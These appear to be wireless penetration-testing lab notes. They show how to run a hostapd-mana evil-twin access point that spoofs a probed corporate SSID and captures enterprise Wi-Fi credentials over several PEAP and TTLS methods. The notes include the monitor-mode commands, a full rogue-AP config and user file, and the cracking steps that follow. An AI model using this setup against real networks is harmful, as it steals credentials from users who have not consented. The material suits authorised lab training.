# Mana

The aim on the below labs was to retrieve credentials of a client that is using different types of authentication such as PEAP-GTC, PEAP-MSCHAPv2, TTLS-PAP, TTLS-CHAP and TTLS-MSCHAPv2

## PEAP-GTC

Set the device into monitor mode and check for networks with airodump-ng

```
iw dev wlan0 set monitor none

airodump-ng wlan0
```

Airodump shows that there is a client probing for the BlueDorkCorp network. Create a mana config file as well as the user file.

```
// mana config
interface=wlan1
ssid=BlueDorkCorp
channel=6
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1

// user file

* PEAP,TTLS,TLS,MD5,GTC
"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP "1234test" [2]
```

Start mana with the config file and observe the plain text creds.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2Fn3UqfGBix6lHzYLsb54i%2Fimage.png?alt=media&#x26;token=fe9864ff-86a6-4a8c-8ee7-f1bda3b66328" alt=""><figcaption></figcaption></figure>

## TTLS-MSCHAPv2

Same as above but this time you will need to use asleap to crack the password.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2Fe7ilhjnxzEYa7brLIOtr%2Fimage.png?alt=media&#x26;token=4cb0e5b0-0ccb-4456-b56d-fb7ede88e6e0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FP8GSYHVcI63hliSI8jk8%2Fimage.png?alt=media&#x26;token=367e2347-af96-41df-af1b-9e9568d1fbb8" alt=""><figcaption></figcaption></figure>

## TTLS-CHAP

Same setup as above but you will need to try to crack the password with jtr or hashcat.&#x20;

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FKBzbZV1OqHYyYl98t1QS%2Fimage.png?alt=media&#x26;token=199d036f-68fb-4573-8957-880baef4df23" alt=""><figcaption></figcaption></figure>

## TTLS-PAP

Same setup as the first, but creds come in plain text.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F1E6D47CSblpV3gzSmoua%2Fimage.png?alt=media&#x26;token=f9477af8-4fbd-4e29-89d7-9e8aa60dca12" alt=""><figcaption></figcaption></figure>

## PEAP-MSCHAPv2

Same as the initial setup, but need to crack the hash or challenge / response.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FF3jO2kl9APOBdBkfhrZO%2Fimage.png?alt=media&#x26;token=f5c54315-e1c2-4307-83e2-833c95525157" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FZhNrN8tXBDYn9NU5YtYx%2Fimage.png?alt=media&#x26;token=e1560c36-7a56-4f71-8443-72bf9fcc9dd1" alt=""><figcaption></figcaption></figure>
